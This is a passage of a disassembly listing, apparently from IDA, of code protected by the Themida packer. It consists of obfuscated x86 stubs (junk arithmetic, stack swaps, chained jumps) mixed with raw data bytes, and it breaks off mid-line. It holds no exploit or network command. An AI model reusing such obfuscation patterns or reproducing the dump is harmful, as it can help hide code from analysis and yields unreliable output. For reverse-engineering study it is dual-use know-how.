0EAB95152h, 896F2A24h dd 0E28159CAh, 0F6F0C67h, 5FCCCA81h, 0EA812DEBh, 2FEB5FECh dd 148BD689h, 0E0895024h, 0FF73C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F261: ; CODE XREF: Themida_:0054CFDCj xchg edx, [esp] pop esp mov [esp], eax jmp loc_54D764 ; --------------------------------------------------------------------------- loc_54F26D: ; CODE XREF: Themida_:0054B325j mov [esp], ebp jmp loc_54BBE0 ; --------------------------------------------------------------------------- db 81h, 0C6h, 12h dd 8168E96Ah, 4A6ECEEEh, 5EF289C6h, 1481E955h, 0BFB90000h dd 0F73E1771h, 0FB9CE9D1h, 0C281FFFFh, 0E6E06763h, 148BD301h dd 4C48324h, 0BF57C329h, 16BB7EBAh, 5681EF81h, 56516C3Ah dd 86466368h, 4CE95E5Bh db 8Ah, 2 dup(0FFh) byte_54F2BF db 0FFh ; DATA XREF: Themida_:005445E8o dd 669D1C77h, 2414D359h, 6FFBE99Ch, 0F381FFFFh, 32912480h dd 6208F405h, 2DD80103h, 36208F4h, 7938E95Bh db 2 dup(0FFh) word_54F2E6 dw 7268h ; DATA XREF: Themida_:00544484o dd 8900001Dh, 8950242Ch, 405E0h, 0E8830000h, 24048704h dd 243C895Ch, 771419BFh, 0D7F74F27h, 0E908EFC1h, 0FFFFB5F5h db 5Dh, 29h, 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 60394B0Bh pop ecx xchg edx, ecx dec edx xor ecx, edx xor edx, ecx jmp loc_54B69D ; --------------------------------------------------------------------------- dd 0B62DE959h, 525DFFFFh, 164AE9h db 0 byte_54F345 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005445F4o aWhzk db '$Wh‡K',0 dw 6800h dd 5E9Bh, 0FF537AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F359: ; CODE XREF: Themida_:005454A7j pop edi pop ecx jmp loc_54BE48 ; --------------------------------------------------------------------------- dd 9045C281h, 0D0018897h, 2404875Ah, 0D324248Bh, 0E99C243Ch dd 0FFFF532Fh ; --------------------------------------------------------------------------- loc_54F378: ; CODE XREF: Themida_:0054B244j and edi, 65342BEDh xor edi, 21242244h add ebp, edi pop edi jmp loc_54EB5E ; --------------------------------------------------------------------------- dd 24348755h, 0A2E9D6F7h, 52FFFF8Ah, 0CA80A2B2h, 0E95366E7h dd 0FFFF7FB6h, 81E28952h, 4C2h, 4C28100h, 87000000h, 835C2414h dd 92E901C6h, 0E9FFFF7Eh, 0FFFF52E3h, 8106E2C1h, 0F63AD8F2h dd 81DAF765h, 24A090C2h, 0E9D1317Dh, 0FFFFE102h, 2896664h dd 0FF52C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F3E5: ; CODE XREF: Themida_:00550C48j push edx mov edx, 19D16431h sub esi, edx pop edx neg esi shr esi, 3 or esi, 0E824ACEh xor esi, 1EDADFCAh add eax, esi pop esi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5508F1 ; --------------------------------------------------------------------------- db 57h dd 0CD7BCBBFh, 19EF8109h, 0C147837Dh, 0F78106E7h, 12A00519h dd 0C103EFC1h, 0FE906E7h, 30FFFF6Ah, 0EF805AF7h, 748AE928h dd 0C301FFFFh, 0FF763EE9h, 74FF56FFh, 0E95E0424h, 0FFFF8411h ; --------------------------------------------------------------------------- loc_54F450: ; CODE XREF: Themida_:00544F31j and ebx, 65901F96h push eax mov eax, 7D174C44h or eax, 190407ECh sub eax, 57B77B3Fh shl eax, 8 xor eax, 22B43A98h sub eax, 4C4840CBh jmp loc_54BA86 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FFB829E9h, 4EC81FFh, 89000000h, 0B850243Ch dd 6EAC45E4h, 48BC789h, 4C48324h, 9285E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F49E: ; CODE XREF: Themida_:00546FF1j mov eax, 5D492A4Eh neg eax jmp loc_54D3F3 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 2050000h, 87000000h, 515C2404h, 68661DB5h, 2C280000h dd 242C8A24h, 858E950h, 0E8010000h, 0A14A802Dh, 0BE95D4Eh db 1Bh, 2 dup(0) byte_54F4DB db 0FFh ; DATA XREF: Themida_:00544510o dd 685A2434h, 5FCh, 0E9241489h, 0FFFF7A8Eh, 0E99CC138h dd 0FFFF51B3h, 0DE0389BDh, 5EDC157h, 621FCD81h, 0F5812796h dd 27BEF21Bh, 875DE801h, 575C2404h, 4D4E68h, 24248900h dd 4240481h, 5F000000h, 2E00BE56h, 0F6813523h, 2F165EEh dd 166AE9h db 0 ; --------------------------------------------------------------------------- loc_54F531: ; CODE XREF: Themida_:0054C224j add edx, ebp mov ebp, [esp] add esp, 4 xchg edx, [esp] pop esp or eax, eax jz loc_550D4D push dword ptr [edi+28h] jmp loc_550E67 ; --------------------------------------------------------------------------- loc_54F550: ; CODE XREF: Themida_:0055120Aj or ebx, esi pop esi not ebx push ecx mov ecx, 39E71C3h xor ecx, 4B3B542Dh sub ecx, 62B13272h not ecx xor ecx, 5CAC4E35h jmp loc_54C929 ; --------------------------------------------------------------------------- loc_54F574: ; CODE XREF: Themida_:00545125j push 2089h jmp loc_547AE0 ; --------------------------------------------------------------------------- dw 0EEC0h dd 9C5AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F586: ; CODE XREF: Themida_:0054ACC1j push dword ptr [esp] pop ebx push edi jmp loc_5453D4 ; --------------------------------------------------------------------------- dd 28E9EA01h, 87FFFFACh, 0E95C240Ch, 0FFFF7A36h, 0C8B60F66h dd 0E99C5166h, 0FFFF50FBh, 511D6866h, 0FF7C22E9h, 48B66FFh dd 9374E924h, 0B951FFFFh, 1BE06136h, 2959C801h, 61362DC8h dd 0C8B1BE0h, 0FB99E924h, 0D831FFFFh, 0E9241C8Bh, 0FFFF8174h ; --------------------------------------------------------------------------- loc_54F5E0: ; CODE XREF: Themida_:00549E8Aj popf retn ; --------------------------------------------------------------------------- dw 0C0E9h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5E7: ; CODE XREF: Themida_:0054752Dj inc al sub al, 1Ah add al, 9Fh jmp loc_54A9B2 ; --------------------------------------------------------------------------- loc_54F5F2: ; CODE XREF: Themida_:00546F6Fj mov edx, 694D1EF6h jmp loc_5488C5 ; --------------------------------------------------------------------------- dd 3E81C681h, 1EE97E67h, 80FFFFEBh, 0FA88FDF7h, 6CDE685Bh dd 1C890000h, 0D2B324h, 0B2525BDAh, 0FEC2FE8Dh, 5E45E9CAh dd 0E1D1FFFFh, 7388E955h, 0E883FFFFh, 7E95004h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F637: ; CODE XREF: Themida_:005463A9j pop dword ptr [esp] jmp loc_54B028 ; --------------------------------------------------------------------------- loc_54F63F: ; CODE XREF: Themida_:005455FAj mov edi, 40C00106h and edi, 1A71DAAh sub edi, 1 jmp loc_54FA0C ; --------------------------------------------------------------------------- db 66h, 89h, 14h dd 9C506624h, 0FF5046E9h, 0B4C981FFh, 8146980Dh, 0F24FBCE9h dd 0DAC98164h, 8124745Ah, 0A2327EE1h, 0E9D9F728h, 0FFFFF8B7h dd 6C289B05h, 7BBF5773h, 0E952405Ch, 0FFFFD35Fh, 478BE56h dd 0E94E67DEh, 0FFFF8683h ; --------------------------------------------------------------------------- loc_54F69C: ; CODE XREF: Themida_:005508F8j xchg eax, ebp push ecx push ebx mov ebx, 4C545FE8h shl ebx, 5 xchg edx, ebx push ecx mov ecx, 0FFFFFFFFh sub edx, ecx jmp loc_54A6E3 ; --------------------------------------------------------------------------- loc_54F6B6: ; CODE XREF: Themida_:005457D6j sub edi, esi jmp loc_544FC9 ; --------------------------------------------------------------------------- db 83h, 0EBh, 4 dd 0E9241C87h, 0B0Ch, 8124148Bh, 4C4h, 0CFC78100h, 8169696Ah dd 0E6EC9EFh, 0ADE2E951h, 0C301FFFFh, 1BC2E9h db 0 ; --------------------------------------------------------------------------- loc_54F6E9: ; CODE XREF: Themida_:005487FDj sub [esp+4], edi jmp loc_546E5E ; --------------------------------------------------------------------------- dw 0C6BBh dd 81359F79h, 1BFD94F3h, 0B575E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F702: ; CODE XREF: Themida_:0054F1ABj push small word ptr [eax] jmp loc_5472AA ; --------------------------------------------------------------------------- dw 483h dd 0E9580424h, 0FFFFDEB0h, 0D2E2E951h, 0C381FFFFh, 558F1054h dd 2647C381h, 0E9561FF0h, 0FFFFC47Ch ; --------------------------------------------------------------------------- loc_54F72C: ; CODE XREF: Themida_:00549045j and ebp, edi jmp loc_54BD5A ; --------------------------------------------------------------------------- align 4 dd 32E951E8h, 0D00000Ch, 47C56FF1h, 0CB38DD05h, 4E8C12Ch dd 0B841BA05h, 58C68977h, 6D43EE81h, 0F5017F82h, 8124348Bh dd 4C4h, 0F4B85000h, 0E9244522h, 0FFFF682Eh, 5C55E1B8h dd 0DC33E911h, 4BDFFFFh, 0E9000000h, 0FFFFFE10h dword_54F780 dd 0CDE951ACh ; DATA XREF: Themida_:00544650o db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F787: ; CODE XREF: Themida_:00544FD0j shl edi, 2 jmp loc_54519E ; --------------------------------------------------------------------------- loc_54F78F: ; CODE XREF: Themida_:0054BD4Aj mov [esp], ebx jmp loc_54DFA3 ; --------------------------------------------------------------------------- db 52h dd 5567A6BAh, 1FF2811Bh, 893CB546h, 68565AD5h, 7EFA344Dh dd 5EF5095Eh, 0FFF06BE9h, 70C381FFh, 5135207Eh, 9D6B7EB9h dd 9F5EE970h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F7C6: ; CODE XREF: Themida_:0054C850j push ecx jmp loc_55103B ; --------------------------------------------------------------------------- dd 8B24048Fh, 89662424h, 0C5E9240Ch, 31FFFFFDh, 3C33243Ch dd 24248B24h, 0FFC52DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F7E9: ; CODE XREF: Themida_:0054CD39j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54E399 ; --------------------------------------------------------------------------- db 0BAh, 0B8h, 20h dd 0EA810BBFh, 66D428D0h, 4207E2C1h, 23BBCA81h, 8DE9052Eh dd 900000Ch, 0E99C2404h, 0FFFF4E8Fh ; --------------------------------------------------------------------------- loc_54F818: ; CODE XREF: Themida_:0054C21Ej push edx jmp loc_54B108 ; --------------------------------------------------------------------------- dw 84E9h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F823: ; CODE XREF: Themida_:00548EDCj add eax, 275F6208h add eax, ebp sub eax, 275F6208h jmp loc_54AF83 ; --------------------------------------------------------------------------- dd 12454F6h, 8E5C059h, 3008C580h, 240C8BE8h, 3004C483h dd 0C0B60FC3h, 87048F66h, 0FF4E52E9h, 531705FFh, 55B2006h dd 7BAE3E34h, 0FF7128E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F865: ; CODE XREF: Themida_:00545CFFj sub esp, 4 mov [esp], esi mov esi, 18C869B0h xor ebx, esi mov esi, [esp] add esp, 4 mov edx, [esp] jmp loc_54C3FA ; --------------------------------------------------------------------------- loc_54F883: ; CODE XREF: Themida_:00548635j add esp, 4 jmp loc_5478F5 ; --------------------------------------------------------------------------- loc_54F88E: ; CODE XREF: Themida_:00548A30j sub ecx, 107857BFh sub ecx, 52BE3B12h push edx mov edx, 60D05282h or ecx, edx jmp loc_54667E ; --------------------------------------------------------------------------- byte_54F8A7 db 0FFh ; DATA XREF: Themida_:0054456Co dd 48B2434h, 4EC8324h, 0FFF7C7E9h, 83CB2FFh, 0C05A66D7h dd 0C7FE08EFh, 8002EFC0h, 41E985C7h, 0FF000007h, 0E9042474h dd 0FFFF831Ch, 0BD55E089h, 8A41828h, 42C4BF57h, 0C7813F18h dd 4CED31D0h, 0C76F781h, 23E9FBD0h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8F3: ; CODE XREF: Themida_:0054C5B1j or eax, 589A2C8Eh xor eax, 0C23EA62Dh add ebx, eax pop eax add dword ptr [ebx], 1 mov ebx, [esp] jmp loc_5455DE ; --------------------------------------------------------------------------- loc_54F90E: ; CODE XREF: Themida_:00548A0Bj push ecx mov ecx, 1439ED6Ah xor edx, ecx mov ecx, [esp] add esp, 4 and eax, edx push dword ptr [esp] jmp loc_54C492 ; --------------------------------------------------------------------------- db 5Fh, 56h, 0BEh dd 4, 9CE9F701h, 81000019h, 8719E9EDh, 94F1E910h, 8B54FFFFh dd 0C481240Ch, 4, 4C181h, 0E9810000h, 4, 2474FF51h, 48F5904h dd 3C895C24h, 51E78924h, 4B9h, 59CF0100h, 8D5CE951h, 0EAC1FFFFh dd 4CF28104h, 13E210Fh, 19ABE9D0h, 34FF0000h, 24048B24h dd 0E95E5456h, 0FFFFCEEDh ; --------------------------------------------------------------------------- loc_54F994: ; CODE XREF: Themida_:00548B32j sub esp, 4 mov [esp], edx mov edx, 54BD0F16h and edx, 78DD1C95h neg edx not edx add edx, 3116188Ch shl edx, 3 push ecx mov ecx, 6EB00E03h add edx, ecx jmp loc_54D5BC ; --------------------------------------------------------------------------- db 1 dd 0F2815BDAh, 13A203ADh, 2936EA81h, 0FBE974F7h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F9D3: ; CODE XREF: Themida_:0054FC50j add ecx, 6BEE3277h add ecx, ebp jmp loc_54B5BF ; --------------------------------------------------------------------------- dword_54F9E0 dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFAF48h, 81D9F75Ah ; DATA XREF: Themida_:005444BCo dd 0FDC6FAE9h, 1FC281BEh, 1797F5Bh, 1FEA81CAh, 0E9797F5Bh dd 0FFFF99ECh ; --------------------------------------------------------------------------- loc_54FA0C: ; CODE XREF: Themida_:0054F650j shl edi, 7 add edi, 84E3DB2Ch add edx, edi pop edi mov ebx, 3469816Bh xor ebx, edx push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54791C ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 87000000h, 555C241Ch, 0FF8F9BE9h, 4C481FFh dd 81000000h, 4ECh, 242C8900h, 0A4106FBDh, 0AF7DE975h dd 0F201FFFFh, 4C2835Eh, 0E9241487h, 0FFFF7F3Bh, 0C3E95450h dd 4FFFFE1h, 2CD80025h, 13E95325h, 5AFFFF59h, 31243433h dd 34332434h, 0E9505C24h, 0FFFFC90Ch, 2591EA81h, 0D12946EEh dd 0FF8A59E9h, 0D9F581FFh, 5251D47Ch, 3C6812BAh, 55B1E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FAB6: ; CODE XREF: Themida_:0054D771j sub eax, 797D3705h or eax, 1F5F42ACh sub eax, 9FFF56ABh add esi, eax pop eax add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_54E49B ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8B243C87h, 0BB532424h, 171B3DA9h, 8904EC83h, 0A068241Ch dd 8B2E2912h, 0C481241Ch, 4, 0E3E9EBD1h, 53FFFF7Dh, 4BBh dd 12C58100h, 16ADB63h, 12ED81DDh, 8B6ADB63h, 0C483241Ch dd 84BA5204h, 0C15C7D76h, 0DAF707E2h, 0FF5417E9h, 243C89FFh dd 0A114E9BFh, 7DF7814Fh, 8111AC24h, 1106DBCFh, 0DFF74F09h dd 23C2CF81h, 0F7816480h, 0E4E2EBE6h, 875FF801h, 8B5C2404h dd 0EC832404h, 240C8904h, 0FF4E5FE9h db 0FFh byte_54FB65 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00544620o dd 6659669Dh, 9C241CD3h, 0FF4B32E9h, 1E281FFh, 0F74A015Bh dd 0C0E281DAh, 0F739AD08h, 0C257E9DAh db 2 dup(0FFh) word_54FB8A dw 68ACh ; DATA XREF: Themida_:0054457Co dd 3A1Eh, 0E9241489h, 0FFFFB41Fh, 81E6C180h, 4ECh, 24048900h dd 0C4FED7B4h, 5266D4F6h, 0C8E99DB2h, 0C0FFFFE5h, 0C9FE08E9h dd 0FF648EE9h, 59CF88FFh, 5105EFC0h, 0FFB784E9h, 0E8E95CFFh dd 8B000017h, 0C4812414h, 4, 4EC8155h, 89000000h, 0BA662414h dd 0BD660658h, 29667E90h, 66575AD5h, 663A9DBFh, 40C9C781h dd 5FFD0966h, 56C58166h, 0E9316602h, 0BA66525Dh, 56662E23h dd 220BBE66h, 66F20166h, 6E44E95Eh, 1489FFFFh, 0CB2AE924h dd 0F681FFFFh, 4D0A09FFh, 474FEE81h, 0EE814E66h, 64C86F8Eh dd 30E9DEF7h, 83FFFFA7h, 348904ECh, 46C2BE24h, 0CFE90259h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC4B: ; CODE XREF: Themida_:0054C48Dj mov ebp, 0FFFFFFFFh jmp loc_54F9D3 ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 9113EF08h, 246C290Dh, 246C8108h, 9113EF08h, 2E95D0Dh dd 57FFFF5Ch, 1D6689BFh, 0F7DFF77Dh, 8AC781DFh, 476C5874h dd 8104EFC1h, 0FB2FFFF7h, 5FFA2944h, 5DE90288h, 0BBFFFF80h dd 59B46B18h, 0FF668FE9h, 2C681FFh, 68000000h, 3F7h, 89240489h dd 405E0h, 42D0000h, 87000000h, 6BE92404h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FCBF: ; CODE XREF: Themida_:0054B6F4j sub esp, 4 mov [esp], ecx push eax mov eax, esp jmp loc_548E49 ; --------------------------------------------------------------------------- loc_54FCCD: ; CODE XREF: Themida_:0054C974j shl edx, 1 push dword ptr [edi+24h] sub esp, 4 mov [esp], ecx push ebx mov ebx, 0FFFFFFFFh push 42Fh mov [esp], ebx mov ecx, [esp] add esp, 4 pop ebx push ebp push eax mov eax, 1D517186h add eax, 47EF7CAEh jmp loc_548795 ; --------------------------------------------------------------------------- dd 9ED3C281h, 0D5292CF6h, 4822D5Ah, 0E8290C00h, 0FF9BF0E9h dd 4989E9FFh, 0C89FFFFh, 4981E924h, 0E089FFFFh, 5ACEBD55h dd 0E5C1077Ch, 0AAED8102h, 81693B54h, 48113AEDh, 81D5F76Ch dd 91FAAFF5h, 5DE801B7h, 2BF57h, 0F8010000h, 0FF8CBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FD55: ; CODE XREF: Themida_:0054AB92j pop ecx jmp loc_54CBE6 ; --------------------------------------------------------------------------- loc_54FD5B: ; CODE XREF: Themida_:00544D01j pop eax add [esp+8], ebp jmp loc_545699 ; --------------------------------------------------------------------------- db 50h, 0B4h, 4Dh dd 0F480C4FEh, 0E9DCF6FBh, 0FFFF9C03h ; --------------------------------------------------------------------------- loc_54FD74: ; CODE XREF: Themida_:00550BFCj pop eax xchg edi, [esp] mov esp, [esp] push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_545C1D ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 9CC83B66h, 0FF4912E9h, 9CBB53FFh, 896C3548h dd 0C9815BD9h, 675A14D8h, 0FFDE08E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FDA9: ; CODE XREF: Themida_:0054C1B7j add esp, 4 jmp loc_546CE1 ; --------------------------------------------------------------------------- db 0B7h, 8Eh, 0FEh dd 0E95266C7h, 0FFFFFAF9h, 0C108E1C1h, 0F18104E9h, 73EE27A0h dd 7B21F181h, 0CE2916DDh, 246E9h db 0 byte_54FDD5 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:00544408o dd 0C8E99C24h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDDF: ; CODE XREF: Themida_:00547B6Cj dec edi dec edi not edi neg edi add edi, 2139D165h sub eax, edi pop edi pop ecx push eax mov eax, esp jmp loc_54A986 ; --------------------------------------------------------------------------- db 29h dd 0F82159CFh, 0FC00B5Fh, 0FFF0EF84h, 41DD68FFh, 40E90000h dd 58FFFF5Dh, 8304C483h, 143302C2h, 24143124h, 8B241433h dd 2CD22424h, 7CE99C24h db 48h, 2 dup(0FFh) byte_54FE2B db 0FFh ; DATA XREF: Themida_:0054442Co dd 669D1C77h, 24041058h, 9C71E99Ch, 0E289FFFFh, 0E904EC83h dd 0FFFFCB77h, 0B690E95Eh, 0EDB9FFFFh, 0E940B376h, 0FFFFDA12h ; --------------------------------------------------------------------------- loc_54FE54: ; CODE XREF: Themida_:0054805Fj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], cx jmp loc_5446A7 ; --------------------------------------------------------------------------- db 33h dd 248B241Ch, 9943E924h, 335AFFFFh, 34312434h, 24343324h dd 48B665Ch, 3BFA6824h, 4890000h, 0CEC0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FE8E: ; CODE XREF: Themida_:0054D7EFj add esp, 4 sub esp, 4 mov [esp], edx mov edx, 76A8344Bh and edx, 59CC6B6Fh sub edx, 50882047h jmp loc_54DF2D ; --------------------------------------------------------------------------- dd 0D1F68058h, 805AF300h, 9E9C9C3h, 1FFFF8Fh, 0D448E9CAh dd 0EDB7FFFFh, 4EC81h, 14890000h, 0F6C2B624h, 0C0CEFED6h dd 0CE8004E6h, 0FEEE8063h, 2844EF80h, 44C780F7h, 0B252665Ah dd 66D000A7h, 51F8285Ah, 13ABE9h, 6BFABE00h, 0E6C12739h dd 3EE8106h, 1A97E8Eh, 0D0295EF0h, 94DAE957h, 0C781FFFFh dd 4, 4EF81h, 0A8E90000h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF23: ; CODE XREF: Themida_:0054B254j xchg ebp, [esp] pop esp jmp loc_54794E ; --------------------------------------------------------------------------- loc_54FF2C: ; CODE XREF: Themida_:00545B90j pop ebp pop dword ptr [esp] jmp loc_548A60 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 0FFFFF77Dh ; --------------------------------------------------------------------------- loc_54FF40: ; CODE XREF: Themida_:0054C285j push dword ptr [esp] mov eax, [esp] add esp, 4 push 1CF6h jmp loc_54C033 ; --------------------------------------------------------------------------- loc_54FF53: ; CODE XREF: Themida_:0054D60Cj xor ebp, [esp] pop esp xor ebx, eax push small word ptr [eax] jmp loc_5446A7 ; --------------------------------------------------------------------------- db 42h, 0C1h, 0E2h dd 2BF5708h, 31E73E78h, 243C8BFAh, 0E904C483h, 0FFFF4D8Eh dd 2404895Ch, 0FFD403E9h, 59CA01FFh, 0FF77D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FF89: ; CODE XREF: Themida_:00548C86j add eax, 30117E1Bh xor eax, 1E3F2E5Fh jmp loc_544822 ; --------------------------------------------------------------------------- dd 854C88BDh, 0CBC5811Dh, 0E925900Dh, 1058h ; --------------------------------------------------------------------------- loc_54FFA8: ; CODE XREF: Themida_:005457F0j sub ecx, 4 jmp loc_548398 ; --------------------------------------------------------------------------- db 89h dd 0B0E92434h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FFBB: ; CODE XREF: Themida_:005458F1j pop esp jmp loc_5480E2 ; --------------------------------------------------------------------------- loc_54FFC1: ; CODE XREF: Themida_:0054EECBj or ebx, 338B6BC0h neg ebx sub ebx, 92F3A9F8h mov ecx, ebx pop ebx xor ecx, 8F25B0F0h jmp loc_550C80 ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 0E9241C87h, 680h, 50F568h, 242C8900h, 0FF6B0CE9h, 5EF001FFh dd 2BE56h, 0F0010000h, 2404335Eh, 0E9240431h, 0FFFF5505h dd 6F8868h, 24148900h, 20E9C7B6h, 59FFFFC1h, 0A3E9C601h db 0ACh, 2 dup(0FFh) byte_550023 db 0ACh ; DATA XREF: Themida_:005445A4o dd 6704BF04h, 672CD800h, 0FFD624E9h db 0FFh ; --------------------------------------------------------------------------- loc_550031: ; CODE XREF: Themida_:0054B4D5j pop esp mov [esp], esi jmp loc_54E4F9 ; --------------------------------------------------------------------------- loc_55003A: ; CODE XREF: Themida_:0054C73Fj mov ebp, 4E783624h or ebp, 2782459h neg ebp shr ebp, 8 jmp loc_54A06B ; --------------------------------------------------------------------------- loc_55004F: ; CODE XREF: Themida_:00549762j mov esi, 2C297A23h mov edx, 2C2D7A23h xor edx, esi mov esi, [esp] jmp loc_545BFE ; --------------------------------------------------------------------------- db 66h dd 2801B450h, 0E474E9E3h, 0EF81FFFFh, 6F6F1301h, 0FF4B5FE9h dd 7E581FFh, 6805F034h, 6BEFh, 0FFE973E9h db 0FFh byte_550089 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054452Co dd 1858669Dh, 0E99C2404h, 0FFFF460Fh, 8124148Bh, 4C4h dd 4EC8100h, 89000000h, 68241Ch, 5B000000h, 0A1E9FB29h dd 28FFFFBFh, 285A66D5h, 2434FFEAh, 0FF9B62E9h, 27B850FFh dd 89682048h, 24048BC6h, 8104C483h, 0D340AACEh, 4EC8124h dd 0E9000000h, 0FFFFDEAFh ; --------------------------------------------------------------------------- loc_5500E4: ; CODE XREF: Themida_:0054CDFBj mov ebx, 254C31F2h sub ebx, 0DC8F2A60h jmp loc_5477EB ; --------------------------------------------------------------------------- dd 335AD001h, 0B8E92404h, 55FFFF5Dh, 2BDh, 0EC36800h, 3C890000h dd 4F6DBF24h, 0F6E95260h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550117: ; CODE XREF: Themida_:00547CEBj mov edi, 16454E72h inc edi xor edi, 8CC8E7F8h sub esi, 752D2358h add esi, edi add esi, 752D2358h mov edi, [esp] jmp loc_549093 ; --------------------------------------------------------------------------- db 0BDh, 6Fh, 6Ch dd 0E9563ACEh, 0FFFF9561h, 4E5FE951h, 0DEF7FFFFh, 81FFC683h dd 0C591FEEh, 8BF001FDh, 0C4832434h, 4BA5204h, 1000000h dd 0A597E9D0h, 48BFFFFh, 0E0895024h, 405h, 0E9505500h dd 0FFFF9443h ; --------------------------------------------------------------------------- loc_55017C: ; CODE XREF: Themida_:00548809j xor [edi+24h], ecx sub ecx, 0FFFFFFFFh push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] pop ecx loc_55018D: ; CODE XREF: Themida_:0054E8EDj push 27D6h mov [esp], ecx jmp loc_54A8E0 ; --------------------------------------------------------------------------- dw 489h dd 10B86824h, 0D584ADAh, 516440C7h, 3502E8C1h, 12DC6447h dd 4BA16853h, 4890000h, 24048124h, 717B00FFh, 0FFEB815Bh dd 0E9717B00h, 0FFFF7767h, 0E958E588h, 0FFFF53FFh, 2434895Ch dd 42474FFh, 8B2434FFh, 0C4812434h, 4, 8F04C483h, 6EE92404h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5501F3: ; CODE XREF: Themida_:0054AE82j xor esi, 6A25FB34h mov [edi+24h], esi pop esi shr dword ptr [edi+24h], 8 jmp loc_54EC51 ; --------------------------------------------------------------------------- dw 0BB53h dd 7F2B7710h, 2B7714BDh, 0E8B6E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550216: ; CODE XREF: Themida_:0054D127j and edi, 791918E9h xor edi, 29401BACh jmp loc_549754 ; --------------------------------------------------------------------------- db 89h dd 0CAE92404h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_55022F: ; CODE XREF: Themida_:0054CA21j add ebp, 56953A79h sub esp, 4 mov [esp], ebx mov ebx, 6F261320h sub ebp, ebx pop ebx sub esp, 4 mov [esp], esi mov esi, 2936221Bh add ebp, esi pop esi mov eax, ebp jmp loc_54D99C ; --------------------------------------------------------------------------- dw 2C89h dd 0CA86E924h db 2 dup(0FFh) word_550266 dw 8956h ; DATA XREF: Themida_:00544504o dd 89E957E6h, 89FFFF7Ah, 0E959CEh, 2DFFFF5Bh, 315F6308h dd 62E9C829h, 5DFFFFDCh, 0E904EC83h, 0FFFFA7EAh, 0FF4416E9h db 0FFh byte_550291 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00544420o dd 59545124h, 4BF57h, 0F9010000h, 6396E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5502A6: ; CODE XREF: Themida_:0054A11Ej mov ebp, 6DDD5CF2h dec ebp neg ebp jmp loc_5473C2 ; --------------------------------------------------------------------------- db 5Ah dd 4C681h, 34870000h, 64E95C24h, 21FFFFD0h, 348B1C77h dd 0E1895124h, 0FF8795E9h, 0D5F766FFh, 66EA8766h, 0F2816642h dd 81664B82h, 5531D1F2h, 4C99BD66h, 7ACD8166h, 6645665Fh dd 66515D68h, 66240489h, 66670EB8h, 5866C509h, 8DC58166h dd 0EA0166F7h, 0C281665Dh, 83666304h, 816601EAh, 662171CAh dd 2BFE281h, 6BEA8166h, 0D02966E5h, 5A2434FFh, 6604C483h dd 0B70FC331h, 0DC6866C0h, 4896639h, 4369E924h db 2 dup(0FFh) word_55033E dw 8B66h ; DATA XREF: Themida_:005445B8o dd 0A6E92404h, 56000008h, 0D24773BEh, 10C6812Fh, 0C146D77Eh dd 0D6F708EEh, 563EF681h, 8AE9FF89h, 80FFFFAEh, 0A1040EEAh dd 55DE9h, 6206800h, 14890000h, 8049B624h, 0EE8061F6h dd 54BFE94Fh, 2D5BFFFFh, 85F0F420h, 158C289h, 0C3815AD0h dd 1EA34094h, 0EB81C329h, 1EA34094h, 3DCE9h, 5BD80100h dd 31240433h, 61E92404h, 0C1FFFFB5h, 8CE908EFh, 4EFFFFB1h dd 814EEED1h, 7C03D8F6h, 0E9F0292Fh, 0FFFF9F01h dword_5503C8 dd 8B2434FFh, 0C481240Ch, 4, 835A5452h, 